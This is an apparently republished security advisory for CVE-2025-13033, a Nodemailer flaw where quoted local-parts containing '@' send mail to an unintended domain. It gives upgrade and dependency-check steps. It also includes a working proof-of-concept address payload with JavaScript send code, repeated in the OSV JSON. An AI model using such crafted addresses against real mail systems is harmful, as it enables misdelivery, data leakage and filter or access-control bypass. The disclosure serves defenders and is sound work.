CVE-2025-13033: Nodemailer Email To An Unintended Domain Vulnerability

MODERATE
Advisory Identifier: GHSA-mm7p-fcc7-pg87
Share
CWE-436 CWE-20
Published
Advisory Summary

CVE-2025-13033 is a MODERATE email to an unintended domain vulnerability (CWE-436: Interpretation Conflict) affecting Nodemailer libraries in the npm ecosystem. The issue involves email to an unintended domain can occur due to interpretation conflict. Remediation is available by upgrading affected packages to version 7.0.7.

CVE-2025-13033 at a Glance

CVE Identifier CVE-2025-13033
GHSA Identifier GHSA-mm7p-fcc7-pg87
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-436: Interpretation Conflict
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2025-13033

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 7.0.7 
npm install nodemailer@7.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-13033, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.7), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target. Payload: `"xclow3n@gmail.com x"@internal.domain` Using the following code to send mail ``` const nodemailer = require("nodemailer"); let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, }); let mailOptions = { from: '"Test Sender" <your_email@gmail.com>', to: "\"xclow3n@gmail.com x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", }; transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId); }); (async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */); if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; } console.log("Parsed email:", { address: `${parsed.localPart}@${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })(); ``` Running the script and seeing how this mail is parsed according to RFC ``` Parsed email: { address: '"xclow3n@gmail.com x"@internal.domain', local: '"xclow3n@gmail.com x"', domain: 'internal.domain' } ``` But the email is sent to `xclow3n@gmail.com` <img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" /> ### Impact: - Misdelivery / Data leakage: Email is sent to psres.net instead of test.com. - Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts. - Potential compliance issue: Violates RFC 5321/5322 parsing rules. - Domain based access control bypass in downstream applications using your library to send mails ### Recommendations - Fix parser to correctly treat quoted local-parts per RFC 5321/5322. - Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

CVE-2025-13033 Affected Nodemailer Versions

1 component(s)
Fixed Versions:
7.0.7
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm/nodemailer
npm
< 7.0.7
7.0.7

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
NVD — CVE-2025-13033 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-13033
Security Fix Commit FIX COMMIT
https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
Nodemailer Security Information SECURITY
https://access.redhat.com/security/cve/CVE-2025-13033
bugzilla.redhat.com/show_bug.cgi WEB
https://bugzilla.redhat.com/show_bug.cgi?id=2402179
Nodemailer Source Repository REPOSITORY
https://github.com/nodemailer/nodemailer

Frequently Asked Questions

What is CVE-2025-13033?
CVE-2025-13033 is a security vulnerability in Nodemailer involving Email to an unintended domain can occur due to Interpretation Conflict under CWE-436: Interpretation Conflict.
Which Nodemailer versions are affected?
Affected versions include releases prior to 7.0.7 across affected packages: nodemailer.
What version fixes CVE-2025-13033?
Upgrading to 7.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 7.0.7. Upgrade your dependency to 7.0.7 or later.
What CWE is associated with CVE-2025-13033?
CVE-2025-13033 is classified under CWE-436: Interpretation Conflict (Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.).
How can I check npm dependencies for CVE-2025-13033?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mm7p-fcc7-pg87",
  "modified" : "2025-11-17T17:29:26Z",
  "published" : "2025-10-07T13:42:02Z",
  "aliases" : [ "CVE-2025-13033" ],
  "summary" : "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict",
  "details" : "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: '\"Test Sender\" <your_email@gmail.com>', \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) => {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () => {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: '\"xclow3n@gmail.com x\"@internal.domain',\n  local: '\"xclow3n@gmail.com x\"',\n  domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n<img width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" />\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2025-13033"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-436" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-07T13:42:02Z",
    "nvd_published_at" : null
  }
}